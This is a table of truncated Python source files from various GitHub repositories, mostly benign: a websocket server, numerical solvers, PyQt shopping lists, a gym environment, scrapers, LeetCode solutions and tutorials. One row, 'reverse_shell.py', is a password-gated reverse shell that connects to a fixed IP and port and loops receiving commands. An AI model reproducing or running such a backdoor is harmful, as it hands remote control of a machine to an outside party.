blob_id large_string | repo_name large_string | path large_string | src_encoding large_string | length_bytes int64 | score float64 | int_score int64 | detected_licenses large list | license_type large_string | text string | download_success bool |
|---|---|---|---|---|---|---|---|---|---|---|
4c9fc337581a5f079b719c5fe408f118cb5f4742 | BlakeASmith/tabpuppet | /signalling/server.py | UTF-8 | 1,629 | 2.578125 | 3 | [] | no_license | import asyncio
import websockets
import json
from uuid import uuid1 as uuid
from dataclasses import dataclass, field
from typing import Optional, Mapping
port = 8080
def token_gen():
while True:
yield(uuid().hex)
tokens = token_gen()
ids = token_gen()
class Session:
def __init__(self, token, socket)... | true |
179c41be30d53602b57dcd411a0435e9d9166f41 | ericlearning/epidemiological-modeling | /improved.py | UTF-8 | 378 | 2.671875 | 3 | [] | no_license | import numpy as np
def improved_euler(f, y0, ts, args=()):
ys = [y0]
n = len(ts)
for tn_prev, tn in zip(ts[:-1], ts[1:]):
h = tn - tn_prev
yn_prev = ys[-1]
yn_euler = yn_prev + h * f(yn_prev, tn_prev, *args)
yn = yn_prev + h * (f(yn_prev, tn_prev, *args) + f(yn_euler, tn, *a... | true |
43d2a66128450dc41a0fc8a61124c11a9f8c0eb8 | dss875914213/python_Qt | /6_shopping_list_add_json/shopping_list_add_json.py | UTF-8 | 1,025 | 2.9375 | 3 | [] | no_license | from PyQt5 import QtWidgets, uic
from PyQt5.QtWidgets import *
import json
app = QtWidgets.QApplication([])
dlg = uic.loadUi('shopping_list.ui')
def Add_to_list():
if not dlg.lineEdit.text() == "":
dlg.listWidget.addItem(dlg.lineEdit.text())
else:
show_message(message='You must type at least... | true |
46433356d212f878437a3f2f080d3f7612093726 | previsionio/prevision-python | /previsionio/connector.py | UTF-8 | 13,417 | 2.625 | 3 | [
"MIT"
] | permissive | from enum import Enum
from typing import Dict
import requests
from . import client
from .utils import parse_json
from .api_resource import ApiResource, UniqueResourceMixin
class GCloud(Enum):
"""
Google services."""
big_query = 'BigQuery'
"""Google BigQuery"""
storage = 'Storage'
"""Google Sto... | true |
6ac311cd66502665425cee6e18fe2b8f65805373 | LUO877562830/IEEEagent-RL | /Myenv/MyEnvrobt/myenvrobt.py | UTF-8 | 7,311 | 2.796875 | 3 | [
"Apache-2.0"
] | permissive | import math
import gym
from gym import spaces, logger, core
from gym.utils import seeding
import numpy as np
import logging
import random
"""
gym.Env是gym的环境基类,自定义的环境就是根据自己的需要重写其中的方法;core为env环境基类
必须要重写的方法有:
__init__():构造函数
reset():初始化环境
step():环境动作,即环境对agent的反馈
render():如果要进行可视化则实现
"""
logger = logging.getL... | true |
3263310d023fc8d9f13ce77f30a423c242102ef4 | preetiramaraj/AdventOfCode2017 | /advent23.py | UTF-8 | 986 | 3.09375 | 3 | [] | no_license | # Advent 23
def fn(op, x, y, reg):
try:
val = int(y)
except ValueError:
val = reg[y]
if x.isalpha():
val_x = reg[x]
else:
val_x = int(x)
if op == 'set':
reg[x] = val
elif op == 'sub':
reg[x] -= val
elif op == 'mul':
reg[x] *= val
... | true |
e8b7244e69520c1860e0a1cf22c376f00baf6f5a | mojomojomojo/PyVis | /pyz/tests/test_application.py | UTF-8 | 2,859 | 2.625 | 3 | [] | no_license | import unittest
from mock import patch, MagicMock, call
import sys
import application
class TestApplication(unittest.TestCase):
@patch('application.EventDispatcher')
@patch('gameloader.GameLoader')
@patch('application.Window')
def test_init(self, mock_win, loader, ed):
mock_win.... | true |
85399122d52e567b785652ee4dff77b0b7de7287 | OTRIUM/TemperatureMeasuringBot | /main.py | UTF-8 | 1,003 | 3.265625 | 3 | [] | no_license | """ DS18B20 Temperature Measuring Telegram Bot """
import sys, gc, api
from machine import Pin, Timer
from time import sleep
import onewire, ds18x20, time
ow = onewire.OneWire(Pin(2))
ds = ds18x20.DS18X20(ow)
telegram = api.TelegramBot('tgToken')
welcome_message = 'Welcome to Temperature Measuring Bot!\r\n' +\
... | true |
371a1b108add9822768ee209c1891fe83777fec2 | openshift/openshift-tools | /scripts/monitoring/cron-send-ovs-status.py | UTF-8 | 1,585 | 2.640625 | 3 | [
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0"
] | permissive | #!/usr/bin/env python
'''
Command to send status of ovs to Zabbix
'''
#This is not a module, but pylint thinks it is. This is a command.
#pylint: disable=invalid-name,import-error
import subprocess
from openshift_tools.monitoring.metric_sender import MetricSender
def get_vswitch_ports():
''' Get list of port... | true |
7cf3b14a03e9d7cd62b4568a7af226b54a17f88f | HectorIGH/Competitive-Programming | /Leetcode Challenge/04_April_2020/Python/Week 2/3_Min Stack.py | UTF-8 | 1,626 | 4.53125 | 5 | [] | no_license | #Design a stack that supports push, pop, top, and retrieving the minimum element in constant time.
#
#push(x) -- Push element x onto stack.
#pop() -- Removes the element on top of the stack.
#top() -- Get the top element.
#getMin() -- Retrieve the minimum element in the stack.
#
#
#Example:
#
#MinStack minStack = new ... | true |
0f7ef2155202b9d11060d78550532ce981901147 | amirkashi/AmirInsightProject | /src/states_elevation.py | UTF-8 | 2,162 | 3.515625 | 4 | [] | no_license | """
This code is responsible to read csv file of elevations for each
states, create a table for it, and then insert elevation data in it.
"""
from constantValues.loginInfo import AwsLogins
from databaseConnection import dataBaseConnect
import boto3
import csv
class createStatesElevationTable:
def createTable(s... | true |
71eadfebb096b7445e9dd5b38fda12becd68063b | j1ng3rchive/gemlo | /main.py | UTF-8 | 3,554 | 2.859375 | 3 | [] | no_license | #IP of j1ng3r
import math
import random
class Sequence:
def __init__(self, seq, thru = ""):
self.seq = list(seq)
self.length = len(seq)
self.thru = thru
self.tests = []
def _mutateValue(self, index, value):
return self.seq[0:index] + [value] + self.seq[index+1:]
def mutateValue(self, in... | true |
8f5c24341d600f04c3d24a6675f65020166ba129 | nickovic/rtamt | /examples/features/timing_bounds/timing_bounds_discrete_time.py | UTF-8 | 2,688 | 3.03125 | 3 | [
"BSD-3-Clause"
] | permissive | #!/usr/bin/env python
import sys
import rtamt
def monitor():
# data
dataSet = {
'a': [(0, 100.0), (1, -1.0), (2, -2.0)],
'b': [(0, 20.0), (1, 2.0), (2, -10.0)]
}
# The default sampling period is 1s
# The default unit is s
# We require that the bound is divisible by the sampli... | true |
c4ebbe71538d314bc7fe34213a14f71f88e42efc | nunorc/mysnap | /mysnap/utils.py | UTF-8 | 1,007 | 3.421875 | 3 | [
"MIT"
] | permissive |
import logging
logger = logging.getLogger(__name__)
import numpy as np
def normalize(x, factor=None):
""" Normalize an array of values.
Args:
factor (float): a normalizing factor, defaults to max array value
Returns:
np.array: a normalized array
"""
if factor:
return x /... | true |
352d7dcd8f0c66572a514690b2f8bda2d0b94519 | Ndundiro/Password-Locker | /run.py | UTF-8 | 5,871 | 3.234375 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python3.6
from user import User
from credentials import Credentials
# import pyperclip
import string
import random
from pyfiglet import Figlet
# 1. function to create new user
def create_user( user_name, email, password):
'''
function to create new user
'''
new_user = User(user_name, email, password... | true |
7ebd0988a65c8a12fbeddc5aac7d0764c4f4784a | bopopescu/XML-to-MySQL | /get_lot_data.py | UTF-8 | 2,006 | 2.8125 | 3 | [] | no_license | import xmltodict, mysql.connector, datetime, urllib.request, time
import xml.etree.ElementTree as ET
def get_data():
starttime = time.time()
while True:
unwrap_data()
time.sleep(60.0 - ((time.time() - starttime) % 60.0))
def unwrap_data():
r = urllib.request.urlopen("http://www.jmu.edu/cgi-bin/parking... | true |
f0dcfc8b74a6281c83c936b7b04edc2a5b5d550b | Hyomnie/ps | /data structure/10828.py | UTF-8 | 577 | 3.1875 | 3 | [] | no_license | import sys
st=[]
n=int(sys.stdin.readline().rstrip())
for x in range(n):
a=sys.stdin.readline().rstrip().split()
if a[0]=='push':
st.append(int(a[1]))
elif a[0]=='pop':
if not st:
print(-1)
else:
print(st.pop())
elif a[0]=='size':
print(len(s... | true |
d01f1c096d2b3390ac57314da3fd32be7ea06f43 | Aimery1990/gitRepository | /py_learning/noob_master/string.py | UTF-8 | 408 | 4.09375 | 4 | [] | no_license |
str1 = r"hello \t world" # raw string
print(str1)
str2 = '''
hi
nice
to
see
you
'''
print(str2)
name = 'mary'
age = 18
money = 30.66
print("{0}'s age is {1:d}, and she has {2:f} dollars.".format(name, age, money))
print("{0:s}'s age is {1:5d}, and she has {2:.4f... | true |
971cb3bdff3313034fe7361e78f768ae7fee9763 | itsolutionscorp/AutoStyle-Clustering | /all_data/exercism_data/python/saddle-points/5e05de51bfae420fb25c30e765d6cbe9.py | UTF-8 | 559 | 3.234375 | 3 | [] | no_license | def saddle_points(matrix):
if (len(matrix) == 1
or not all([(len(matrix[0]) == len(row)
and len(row) > 1) for row in matrix])):
raise ValueError('Matrix must be at least two by two.')
result = set()
for r in range(len(matrix)):
row = matrix[r]
row... | true |
915246e2e71503868d94a61453f41062ce37d9a4 | Esiravegna/dualprocessing | /dualprocessing/howlong.py | UTF-8 | 415 | 3.25 | 3 | [
"MIT"
] | permissive | import time
class HowLong(object):
"""
Just a very simple wrapper of timer in order to get the time elapsed by a task
"""
def __init__(self):
"""
Builds the timers
"""
self.start = time.time()
def timeit(self):
"""
Returns the elapsed time since the... | true |
99b947d45c0a12e0287fd82a1933ece35aeaea55 | alepeglow/Web-Scraping-in-Python | /NPL_BS4.py | UTF-8 | 474 | 3.0625 | 3 | [] | no_license | import requests
from bs4 import BeautifulSoup as bs
url = 'https://www.gutenberg.org/files/2701/2701-h/2701-h.htm'
page = requests.get(url)
#print(page.content)
#prettify the page html content
soup = bs(page.content, 'html.parser')
#print(soup.prettify())
#print(type(soup))
#print(soup.find_all('p'))
#... | true |
46d91974aa869cf634d0d7ea12dc36ed8ffdd53a | Lukawss/guppe | /len-abs-sum-round.py | UTF-8 | 1,095 | 4.3125 | 4 | [] | no_license | """
Len, Abs, Sum, Round
# Len
len() -> Retorna o tamanho ( ou seja, o número de itens) de um iterável.
# Exemplo de len
print(len('Geek University'))
# Por debaixo dos panos, quando utilizamos a função len() o Python fas o seguinte:
# Dunder len
print('Geek Unbiversity'.__len__())
#Abs
abs() -> Retorna o valor ... | true |
a66060ca33414a76e51665db90a2aaea6c00bc63 | williechow97/String-Lists---Palindrome | /String List -- Palinedrome.py | UTF-8 | 1,880 | 4.625 | 5 | [] | no_license | # Palindrome
# Ask the user for a string and print out whether this string
# is a palindrome or not. (A palindrome is a string that reads the same forwards and backwards.)
'''
fix to catch numbers
make so ignores spaces and exclamation
best to separate string into list of char and check conditions and create... | true |
bd16417f6adb67255f10ac4c032821882d1a5719 | bertrandperrier/RecetteDeGateau | /python/nb2mots.py | UTF-8 | 832 | 3.3125 | 3 | [] | no_license | # -*- coding: utf-8 -*-
from operator import itemgetter
## s = "a e i o a u a y i"
## source=["bof","bien","super","hyper","mega","bien","super","mega","mega"]
name_file="text";
dico={}
print "Lecture du fichier : "+name_file
FileHandle = open(name_file, "r")
## print ("list source:")
for ligne in FileHandle:
# str to... | true |
87dd57381acab3bc55e78120deda2c03a245ab4f | wjsunday/scrapy_test | /hotfix/fix_xianshi_goods.py | UTF-8 | 2,517 | 2.796875 | 3 | [] | no_license | '''
修复由于重新爬取商品导致自营商城限时活动对应不上goods_id,goods_images
'''
import pymysql
import redis
import math
from settings import mysql_host,mysql_port,mysql_db_user,mysql_db_pwd,mysql_db_name,mysql_db_charset,redis_host,redis_port,redis_pwd,redis_name
class FixXianShi(object):
def __init__(self):
self.client = pymysql.c... | true |
398e2f613d887a53e9b7c4fb950ab389edb0f7e3 | GilsonFish/ManiPedi | /interfaces/frameServico.py | UTF-8 | 11,684 | 2.609375 | 3 | [] | no_license | import tkinter as tk
import tkinter.ttk as ttk
from .funcs import *
from tkinter import messagebox
class ServicoFrame(tk.Frame):
def __init__(self, master, banco):
tk.Frame.__init__(self, master)
self.bd = banco
self.master = master
self.container1 = tk.Frame(self.master, bd=5)
... | true |
53b0aae6976dea12fcb394efe58089088f09e9e4 | michimune/programminglecture | /Python/Session1/ex4.py | UTF-8 | 63 | 3.21875 | 3 | [] | no_license | n = 1
while n <= 2000:
print("Hello CROSSEA!")
n += 1
| true |
9165b88fccb0cb82c3e3c1810c61d44c3d0249ea | mehai/mini-projects | /python_MPMC_marketplace/tema/consumer.py | UTF-8 | 2,372 | 3.75 | 4 | [] | no_license | """
This module represents the Consumer.
Computer Systems Architecture Course
Assignment 1
March 2020
"""
from threading import Thread
from time import sleep
class Consumer(Thread):
"""
Class that represents a consumer.
"""
def __init__(self, carts, marketplace, retry_wait_time, **kwargs):
"... | true |
b075ae7bf219226df53d3ce8d95acd55b480cc02 | ykambham/mydev1 | /stringexamples/check_palindrome_replace_letter.py | UTF-8 | 331 | 4.15625 | 4 | [] | no_license | # Check if the string is a palindrome by removing just one letter
def is_palindrome(str1):
if str1 == str1[::-1]:
return True
def check_if_palindrome_possible(str1):
for i in range(len(str1)):
if is_palindrome(str1[:i] + str1[i+1:]):
return str1[i]
print check_if_palindrome_possibl... | true |
ffe3e880d8422f8410aacd3194f76861c562ee4a | Gaurangsharma/guiv | /codechef/bounce_ball.py | UTF-8 | 172 | 2.75 | 3 | [] | no_license | t=int(input())
if(t<=10**5):
for _ in range(t):
n=int(input())
bit=list(bin(n))
print(bit)
bounce=bit.count('1')
print(bounce-1) | true |
f37ce32253080ece97745f6425dfa650b5cefbc7 | AlbertoGilaNavarro/TFM_Bioinformatica | /ImagesPreparator.py | UTF-8 | 4,558 | 2.71875 | 3 | [] | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Jul 31 23:48:47 2020
@author: albert
"""
import cv2 as cv
import os
import re
import numpy as np
import tifffile as tiff
#Objetivo:
#Formar un solo hipercubo por flor, componiendo las imágenes a y b y todas
#las reflectancias VIS y IR
#%% Hipercubo... | true |
ea229112d5c3ef6e5ab87d7bf2be86fc7e250ca8 | ashbyp/pscratch | /algorithms/l/topkfrequent.py | UTF-8 | 1,074 | 3.21875 | 3 | [] | no_license | from utils.measure import timefunc
class Solution:
@timefunc('first', 100_100)
def topKFrequent(self, nums: list[int], k: int) -> list[int]:
tally = {}
for n in nums:
if n not in tally:
tally[n] = 1
else:
tally[n] = tally[n] + 1
z... | true |
695056730a7b2765bda4af08a24ea776abdaee12 | acavelan/openmp_course_2021 | /exercises/matmul/matmul_python/mat_mul_python_threads.py | UTF-8 | 767 | 2.6875 | 3 | [] | no_license | import numpy as np
import time
from numpy.random import seed
from numpy.random import rand
from numba import jit,prange
size_array=4096
size_vec=size_array*size_array
def generate_array(num,size):
seed(num)
lst=10.*rand(size)+1.
return lst
a=np.array(generate_array(1,size_vec))
b=np.array(generate_array... | true |
2a7db11a33f06ca26c6b13c35f848c0167a2c054 | matutd/FYP | /application.py | UTF-8 | 3,269 | 3.046875 | 3 | [
"MIT"
] | permissive |
#Import Flask module and create web server
#render_template allows for html files to be searched in the template folder
from flask import Flask, render_template, request
from datetime import datetime
import json
app = Flask(__name__) #__name__ mean this file i.e. main.py
data = {}
data[... | true |
386984b4c4d4ab955643ba401e8eb61016117f55 | hrna/pyBot | /modules/gt.py | UTF-8 | 1,380 | 2.578125 | 3 | [
"MIT"
] | permissive | import urllib.parse
import syscmd
from bs4 import BeautifulSoup
import sysErrorLog
def gt(self):
if len(self.msg) == 4:
self.send_chan("Usage: !gt <from> <to> <word/sentence>")
else:
try:
parameters = ""
frm = self.msg[4].strip()
to = self.msg[5].strip()
length = len(self.msg)
for x in range ... | true |
a872b47cdff3eca7187b73e20c91c67e7780eb0a | lzbferrari/ljb_python | /22.py | UTF-8 | 300 | 3.71875 | 4 | [
"MIT"
] | permissive | #输出小于95的奇数
for x in range(1,800):
a = x * 2 - 1
if a == 95:
break
print(a)
b = 0
while b < 95:
b = b + 1
a = b * 2 - 1
print(a)
if a == 93:
break
c = 1
while c < 95:
a = c * 2 - 1
if a >= 95:
break
print(a)
c = c + 1 | true |
2e8215c7726704ce522452f925a3031bcb6ea40c | AlexanderBauer/HackerRank | /Python/Built-Ins/Zipped!.py | UTF-8 | 174 | 2.90625 | 3 | [] | no_license | N, X = input().split()
marks = []
for _ in range(int(X)):
marks.append(map(float, input().split()))
for i in zip(*marks):
print( round(sum(i) / len(i), 1) ) | true |
c22d96dd9cea57b8e3ab46b886bf832a41671ca3 | sizzle0121/Q-learning-Practice | /Qlearning_2D.py | UTF-8 | 2,185 | 2.90625 | 3 | [] | no_license | import numpy as np
import pandas as pd
import time
import os
np.random.seed(2)
N_STATES = 16
ACTIONS = ['up', 'right', 'down', 'left']
#EPSILON = 0.9
ALPHA = 0.1
GAMMA = 0.9
MAX_EPISODES = 20
FRESH_TIME = 0.2
def build_q_table(n_states, action):
table = pd.DataFrame(
np.zeros((n_states, len(action))),
columns =... | true |
c156de4c9783aac553ec7fdf438cf2e75c6c6c1e | ego6ua/pp1 | /03-FileHandling/20.py | UTF-8 | 290 | 3.125 | 3 | [] | no_license | import re
f = open('C:/Users/asus/Desktop/pp1/03-FileHandling/numbers.txt','r')
w = open('C:/Users/asus/Desktop/pp1/03-FileHandling/evennumbers.txt', 'a')
file = f.read()
liczby = re.findall(r'\d{3}', file)
for i in liczby:
if int(i)%2==0:
w.write(f'{i}\n')
f.close()
w.close() | true |
05548cb032f4be6ca1a1723f56142e9657de9d02 | shabidkhan/AppScrip-Tasks | /array/MultipleDuplicate.py | UTF-8 | 466 | 3.421875 | 3 | [] | no_license | def duplicate(Numberlist): # define fuction for duplicate
DuplicateList=[]
for Number in range(len(Numberlist)):
for SecondNumber in range(len(Numberlist)):
if Numberlist[Number]==Numberlist[SecondNumber] and Numberlist[Number] not in DuplicateList and SecondNumber!=Number:
DuplicateList.append(Numberlist[N... | true |
adfb232549ff6b639f19ed4ae788c362694733fe | JeremyJones/blinkt-clocky | /others/randy-coloury.py | UTF-8 | 1,031 | 2.75 | 3 | [] | no_license | import subprocess
from blinkt import *
import time
from datetime import datetime as dt
import re
from random import choice as pick
start_hour = dt.now().hour
sleep_time = 0.2
def my_set_pixel(pixnum, r, g, b, brightness, offset):
rgbs = [[255,0,0],
[255,66,0],
[255,255,0],
[0,... | true |
db82bdbe37a7feb2e7833a18a18042b3eee1e7d6 | koursaros-ai/microservices | /koursaros/hub/router/log/log.py | UTF-8 | 481 | 2.84375 | 3 | [
"MIT"
] | permissive |
from gnes.router.base import BaseRouter
class LogRouter(BaseRouter):
""" Base class for the router. Inherit from this class to create a new router.
Router forwards messages between services. Essentially, it receives a 'gnes_pb2.Message'
and call `apply()` method on it.
"""
def apply(self, msg: '... | true |
ff58640e64e9b09bc368545a8816e6c88d3270d6 | phantomcoder1996/CharacterLevelLM | /Trainer.py | UTF-8 | 2,113 | 2.59375 | 3 | [] | no_license | import torch
from torch import nn
from torch.optim import Adam
from .Datasets.CharDataset import CustomCollate
from torch.utils.data import DataLoader
import numpy as np
class Trainer(object):
def __init__(self, model, dataset_train,
dataset_test, model_path,
learning_rate=0.01, b... | true |
4f94c66dd45cff5dcf14d99850c4759a8c8fa4a5 | huamanrong/shares | /shares/share_build/shares_operation_sell_build.py | UTF-8 | 4,780 | 2.5625 | 3 | [] | no_license | # 菜单的卖出页面
__author__ = '工具人'
import time
import tkinter as tk
from tkinter import ttk, messagebox
from shares.share_until.thread_until import ThreadUntil
from shares.share_server.shares_transaction_server import SharesTransactionServer
time_list = time.strftime('%Y,%m,%d,%H').split(',')
class SharesOperationSellBuild... | true |
8e7e96c530862c58c93b32393b16235a6072bbd7 | NeurodataWithoutBorders/api-python | /examples/create_scripts/behavior.py | UTF-8 | 4,108 | 2.953125 | 3 | [
"BSD-3-Clause"
] | permissive | #!/usr/bin/python
import sys
from nwb import nwb_file
from nwb import nwb_utils as ut
"""
Create a module that stores experimental intervals
Modules represent intermediate processing of experimental data,
something that must be done to the acquired data before it is
ready for experimental analysis. Processing examp... | true |
3f7cca7a313323d230f7ebfa14606b56815c6101 | kinimod23/ATS_Project | /ourABCNN/BCNN.py | UTF-8 | 9,445 | 2.9375 | 3 | [] | no_license | import tensorflow as tf
import numpy as np
class ABCNN_conv():
def __init__(self, lr, s, w, l2_reg, d0=300, di=50, num_layers=2):
"""
:param lr: learning rate
:param s: sentence length
:param w: filter width
:param l2_reg: L2 regularization coefficient
:param d0: dim... | true |
f8b800f6c470e00e37d2f796c2d6caaed66e5fcb | ducdh-dev/python_quiz | /python_quiz/functools/call_function_advanced.py | UTF-8 | 897 | 4.28125 | 4 | [] | no_license | from functools import partial
def sum_ab(a, b):
return a + b
arr_ab = [1, 3]
print(sum_ab(*arr_ab)) # truyền mảng theo kiểu *args
# ======================================================================================================================
"""
Sử dụng partial để không phải truyền một lúc tất cả cá... | true |
d23260f4268eb5966775dff9a300b0d421d5cfc9 | xizhang77/LeetCode | /DynamicProgramming/309-best-time-to-buy-and-sell-stock-with-cooldown.py | UTF-8 | 1,390 | 3.75 | 4 | [] | no_license | # -*- coding: utf-8 -*-
'''
Say you have an array for which the ith element is the price of a given stock on day i.
Design an algorithm to find the maximum profit. You may complete as many transactions as you like (ie, buy one and sell one share of the stock multiple times) with the following restrictions:
You may n... | true |
f73d00fc2fd2458088075e59d8e3546c5e8d0818 | BentleyJOakes/travel_book_maker | /ZipHandler.py | UTF-8 | 1,248 | 2.84375 | 3 | [
"MIT"
] | permissive | from zipfile import ZipFile
import os
import sys
import shutil
class ZipHandler:
def __init__(self, zip_dir):
self.zip_dir = zip_dir
def unzip(self, target_dir):
files = os.listdir(self.zip_dir)
files = [os.path.join(self.zip_dir, f) for f in files if f.endswith(".zip")]
file... | true |
aab9e5a104b4ee3bcb26e021ad867cb325ca14a3 | BlairLee/dataset-insights | /datasetinsights/evaluation_metrics/average_recall_2d_bbox.py | UTF-8 | 3,902 | 2.765625 | 3 | [
"Apache-2.0"
] | permissive | r"""Reference.
http://cocodataset.org/#detection-eval
https://arxiv.org/pdf/1502.05082.pdf
https://github.com/rafaelpadilla/Object-Detection-Metrics/issues/22
"""
import collections
from .base import EvaluationMetric
from .records import Records
class AverageRecallBBox2D(EvaluationMetric):
"""2D Bounding Box Av... | true |
5cd3cf72ea2e476624bd08f8c559540529ab760a | Ureimu/make_func_pic_ui | /make_fun_pic_ui/make_func_pic/pythonic/historylog.py | UTF-8 | 771 | 2.953125 | 3 | [
"MIT"
] | permissive | import time
import traceback
def update_log_fun(dict, func):
print('update log...')
file = open('historylog.txt', 'a+')
file.write(str(dict)+'\n')
file.write(str(func)+'\n')
file.close()
print('finish')
def update_log_time(t0, t1):
file = open('historylog.txt', 'a+')
fil... | true |
f8cd3a09211e3786ca13f3c7822ef10c3f86b9e3 | Aasthaengg/IBMdataset | /Python_codes/p02762/s524735823.py | UTF-8 | 1,125 | 2.75 | 3 | [] | no_license | from scipy.sparse import csr_matrix
from scipy.sparse.csgraph import connected_components
class People:
def __init__(self):
self.frends = 0
self.blocks = 0
n, m, k = [int(i) for i in input().split()]
data=[1]*m
row=[]
col=[]
peoples = [People() for i in range(n + 1)]
for i in range(m):
one,... | true |
2eafd69533e586e495da6fcae74f9394e258076c | aditya0212jain/ClassificationSchemes | /csv_read.py | UTF-8 | 600 | 2.640625 | 3 | [] | no_license | import csv
import numpy as np
with open('../Medical_data.csv','r') as csv_file:
csv_reader = list(csv.reader(csv_file,delimiter=","))
csv_dicReader = csv.DictReader(csv_file)
my_data = np.array(csv_reader)
# print(my_data)
##following the data for Medical_data.csv for kMeans
new_data = np.arra... | true |
7e25607b177aeae3dc27d282e56f88ccb335bd1b | Jamongkad/SprocketFish | /drivers/log_writer.py | UTF-8 | 463 | 2.6875 | 3 | [] | no_license | import os
from datetime import date
def log_message(log_name, err=None):
dir_name = '../logs'
today = date.today().isoformat()
if os.path.exists(dir_name):
f = open(dir_name + '/%s.txt' % (log_name), 'w')
if err:
f.write('%s:%s process unsuccessful! error:%s', (log_name, today,... | true |
91ae6a26391e2aa5e1961381f18877bfed67b774 | lo1cgsan/rok202021 | /2AP4_1/python_2/wykresy_ion.py | UTF-8 | 643 | 3.4375 | 3 | [] | no_license | import matplotlib.pyplot as plt
import numpy as np
def main():
x = np.linspace(0, 2, 100)
fig, ax = plt.subplots()
ax.plot(x, x, label="linearna")
ax.plot(x, x**2, label="kwadratowa")
ax.plot(x, x**3, label="sześcienna")
ax.set_title("Wykresy funkcji")
ax.set_xlabel("etykiety x")
... | true |
2aea65e62dff2d66ff6592bb1683e48e0fee191d | MisticVoid/SPACEBATTLE | /MisselPlaceTest.py | UTF-8 | 943 | 2.96875 | 3 | [] | no_license | from standardMissel import *
from MisselPlacer import *
import time
from math import pi
sizeX = 500
sizeY =500
def main():
m = MisselPlacer(StandardMissile,{"size": 3,"damage": 100,"speed": 1000,"colorC": Color(255,255,0)})
p=m.placeMissile((10,10),(100,100),10,pi*9/5)
init()
screen = display.set_mode... | true |
0ed774cdb45285923eb4791def8eb91ac6790e83 | ITAM-Coding-Rush/Coding-Rush-2020 | /semana2/CR-2020-Al-fin-nos-graduamos/solutions/solution.py | UTF-8 | 258 | 3.484375 | 3 | [] | no_license | #Lectura de calificaciones
calificaciones = input()
numMaterias = len(calificaciones)
minMaterias = numMaterias*0.8
contador = 0
for calif in calificaciones:
if calif == 'A':
contador += 1
if contador >= minMaterias:
print("G")
else:
print("F")
| true |
c9dbe3d3c0574a90075663c83a8e6d003ce67cce | migzer/Minishell2 | /bonus/reverse_shell/reverse_shell.py | UTF-8 | 711 | 2.546875 | 3 | [] | no_license | #!/usr/bin/python
import subprocess
import socket
host = "192.168.0.47"
port = 12345
passwd = "H4CK"
def Login():
global s
s.send("Login: ")
pwd = s.recv(1024)
if pwd.strip() != passwd:
Login()
else:
s.send("MIGZER $> ")
Shell()
def Shell():
while True:
data =... | true |
1a7bf2f54fe8b8b311382109d89b122f5abb52d2 | alvaronaschez/amazon | /leetcode/amazon/trees_and_graphs/word_ladder2.py | UTF-8 | 2,163 | 3.8125 | 4 | [] | no_license | """
https://leetcode.com/explore/interview/card/amazon/78/trees-and-graphs/483/
Word Ladder II
Given two words (beginWord and endWord), and a dictionary's word list, find all shortest transformation sequence(s) from beginWord to endWord, such that:
Only one letter can be changed at a time
Each transformed word must e... | true |
a36bc695029478fe950bad1db3aa8fd4c9e93dd4 | WesleyMSantos/IA | /Estudo Python/PythonPOO/associacao/main_classes.py | UTF-8 | 341 | 2.671875 | 3 | [] | no_license | from associacao.classes import Escritor
from associacao.classes import Caneta
from associacao.classes import MaquinaDeEscrever
escritor = Escritor('João')
caneta = Caneta ('Bic')
maquina = MaquinaDeEscrever()
# associação
escritor.ferramenta = maquina
escritor.ferramenta.escrever()
del escritor
print(caneta.marca)
m... | true |
2f604d3cd4f24f9d187ac1b1e35b33ffd2f26dc7 | maickrau/tangle-resolution | /scripts/get_clean_connections.py | UTF-8 | 2,591 | 2.9375 | 3 | [] | no_license | #!/usr/bin/python
import fileinput
def reverse(n):
return (n[0], not n[1])
def format(n):
return ('>' if n[1] else '<') + n[0]
connections = {}
lines = list(fileinput.input())
for l in lines:
lst = l.strip() + '<'
last_break = 0
parts = []
for i in range(1, len(lst)):
if lst[i] == '<' or lst[i] == '>':
... | true |
24dfdda2bd268566def15a26706cee761ddcb436 | dilynfullerton/tr-A_dependence_plots | /src/plotters/data_maps.py | UTF-8 | 7,664 | 3.046875 | 3 | [
"CC0-1.0"
] | permissive | """data_maps.py
Functions for retrieving various data maps from parsed files
"""
from __future__ import division, unicode_literals, print_function
from os import path
class NoUniqueMapError(RuntimeError):
pass
# todo: make this general
def _get_ground_state_j(mass, z):
"""Get the j for the ground state for ... | true |
a08acbcdd48a4456e488ca0ca9f7c4367421fa5d | jsallcock/pycis | /pycis/old/end_region_mask.py | UTF-8 | 1,622 | 2.78125 | 3 | [] | no_license | import numpy as np
import matplotlib.pyplot as plt
import scipy.signal
import scipy.ndimage
def end_region_mask(img, alpha=0.1, mean_subtract=True, display=False):
"""
Smoothly transition ci_data_mast to the image mean at the top and bottom edges, to reduce Gibbs phenomenon.
:param img:
:param a... | true |
5fb28602c7d151927f2ab0cd4bf8ecee403d7170 | teetotu/BD_B2019_PING_6 | /Practice 7/Dilavar/gen_olympics.py | UTF-8 | 509 | 2.75 | 3 | [] | no_license | from datetime import timedelta
import random
def gen_olympics(faker, cursor, country_ids, n):
olympics = []
for i in range(n):
country = random.choice(country_ids)
city = faker.city()
date = faker.date_object()
id = f"{city[:3].upper()}{date.year}"
cursor.execute("INSE... | true |
148c1e4715342032c314a2b420f46599c33f7b68 | eduardolujan/exchange_rates | /exchange_rater/services/raters/fixer_io/fixer_io_rater.py | UTF-8 | 1,290 | 2.671875 | 3 | [] | no_license | # -*- coding: utf-8 -*-
from typing import Optional
from datetime import datetime
from .fixer_api_client import FixerApiClient
from exchange_rater.services.raters import ExchangeRater
from exchange_rater.services.shared.utils.math_utils import truncate
class FixerExchangeRater(ExchangeRater):
"""
Fixer IO ... | true |
d95420073c33cd63a31b1aa91b86ae98e57b52c7 | gmiejski/movies-recommender-api | /deployment/scripts/ratings_in_common/ratings_in_common.py | UTF-8 | 852 | 2.96875 | 3 | [] | no_license | import collections
import itertools
class RatingsInCommon:
def results(self, data, resuts_file_path):
users_movies = collections.defaultdict(set)
results = []
for x in data:
users_movies[x[0]].add(x[1])
user_pairs = list(itertools.combinations(users_movies.keys(), 2))... | true |
1f62298aaecd92657bbb86de0b58620e020ef986 | sasadangelo/pythonbyexamples | /examples/sets/sets.py | UTF-8 | 2,305 | 4.375 | 4 | [] | no_license | # Sets are collections of unordered, not indexable, not duplicable values. A Set is mutable.
# You can create a dictionary like this.
print("---- create sets")
my_set1 = {'apple', 'banana', 'cherry'}
my_set2 = set({'apple', 'banana', 'cherry'})
print("my_set1 =", my_set1)
print("my_set2 =", my_set2)
# Create an empt... | true |
